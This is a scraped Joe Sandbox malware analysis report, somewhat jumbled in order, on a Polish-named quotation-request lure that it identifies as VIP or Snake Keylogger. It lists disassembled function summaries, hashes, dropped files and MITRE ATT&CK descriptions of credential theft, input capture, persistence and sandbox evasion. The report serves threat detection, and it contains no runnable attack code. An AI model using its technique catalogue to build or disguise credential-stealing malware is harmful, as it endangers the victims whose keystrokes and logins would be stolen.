Opcode ID: 9c387d355752c609e3ec3b71bdfa1ce54c6356e755a59a855018ee08606d8eab
Instruction ID: 486d2595d5a7427da4a9c048e684990a8dc9cac685a8154682435d05c4426571
Opcode Fuzzy Hash: 9c387d355752c609e3ec3b71bdfa1ce54c6356e755a59a855018ee08606d8eab
Instruction Fuzzy Hash: A101D87274121027C600BA259C01AEBB39CEB96354F04443BF94597291EA6DED0E43AA

Function 0046956F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 53windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71

SendMessageW.USER32(00000182,00000182,?,00000000), ref: 004695D6

Strings

ComboBox, xrefs: 0046957A
ListBox, xrefs: 004695A3

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: MessageSend_wcslen
String ID: ComboBox$ListBox
API String ID: 455545452-1403004172
Opcode ID: ebc0188a5584a95c85a0cdadc4297c14a5cc600b4744d97cee4f9a5f6612b8f9
Instruction ID: 72d13aeac174e9c1a3a177398698555a642000804846b33da1492f44d6438514
Opcode Fuzzy Hash: ebc0188a5584a95c85a0cdadc4297c14a5cc600b4744d97cee4f9a5f6612b8f9
Instruction Fuzzy Hash: 4D01A77374111067C610BA6A9C01AEB739CABD2364F44443BF94597292EA7DED0E43AA

Function 004560AD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001001,00000000,?), ref: 004560BA

Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734

wsprintfW.USER32 ref: 004560E9

Strings

%d/%02d/%02d, xrefs: 004560E3

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: MessageSend_mallocwsprintf
String ID: %d/%02d/%02d
API String ID: 1262938277-328681919
Opcode ID: 5e9390f3fa6d631e890f8db483ee3f325bf10843f83bb080d9b0d170336394c6
Instruction ID: 2a73c44ac592e0fe880a68d863bd42ca8887a008949f121bccc13d44bcf2ebb3
Opcode Fuzzy Hash: 5e9390f3fa6d631e890f8db483ee3f325bf10843f83bb080d9b0d170336394c6
Instruction Fuzzy Hash: 13F08272744220A7E2105BA5AC01BBFB3D4EB84762F10443BFE44D12C0E66E8455D7BA

Function 00442262 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0044226C
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 0044227F

Part of subcall function 00436272: Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287

Strings

Shell_TrayWnd, xrefs: 00442265

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 62d1e1a02585172d548c808ed695c1d9d3028cc69dace886715b1b3d1423c17e
Instruction ID: f0ed9326d30a696a9ade51716a531e8bd1705000bbe21894ac7a57cb5589152b
Opcode Fuzzy Hash: 62d1e1a02585172d548c808ed695c1d9d3028cc69dace886715b1b3d1423c17e
Instruction Fuzzy Hash: 71D0A772F8130177E92077706D0FFCB26246F14710F010C3AB305AA1C0D4E8D440C358

Function 0044222A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00442240
PostMessageW.USER32(00000000), ref: 00442247

Part of subcall function 00436272: Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287

Strings

Shell_TrayWnd, xrefs: 00442239

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: d3682f88803cb2a3efb7847c83fab5a73234bf1983908037f6894d5424c159e3
Instruction ID: d1e5b9be119239975405e397b0c0efdc35250005003305bf123d4268f2ecb06f
Opcode Fuzzy Hash: d3682f88803cb2a3efb7847c83fab5a73234bf1983908037f6894d5424c159e3
Instruction Fuzzy Hash: 4DD05E72B813013BE92076706D0FF8B26246B14710F010C2AB205AA1C0D4E8A4408358

Function 00439514 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 8windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00439522

Part of subcall function 00411A1F: _doexit.LIBCMT ref: 00411A2B

Strings

Error allocating memory., xrefs: 0043951B
AutoIt, xrefs: 00439516

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Message_doexit
String ID: AutoIt$Error allocating memory.
API String ID: 1993061046-4017498283
Opcode ID: 98c4a6cf209f69c689245cd57ea7e643062e7ce984d6ae84015e6f4dd77dfbd0
Instruction ID: 5d68346425d2699d55792fe39b85c2381918ba1f955abba655776c5540820644
Opcode Fuzzy Hash: 98c4a6cf209f69c689245cd57ea7e643062e7ce984d6ae84015e6f4dd77dfbd0
Instruction Fuzzy Hash: 82B092343C038627E20437A01C0BF8C28049B64F42F220C2AB308384D259D90080231E

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: VIP Keylogger

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

DDoS

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\cmsys[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\what-happened-to-the-old-zxq-website[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\cmsys[1].htm

C:\Users\user\AppData\Local\Temp\intemeration

C:\Users\user\AppData\Local\Temp\~DF1AC4BF620BE43162.TMP

C:\Users\user\AppData\Local\Temp\~DF7B1FDB34DDC64C15.TMP

C:\Users\user\AppData\Local\Temp\~DF99039B5448018D61.TMP

C:\Users\user\AppData\Local\Temp\~DFB5C7132B9774A256.TMP

Windows Analysis Report
ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre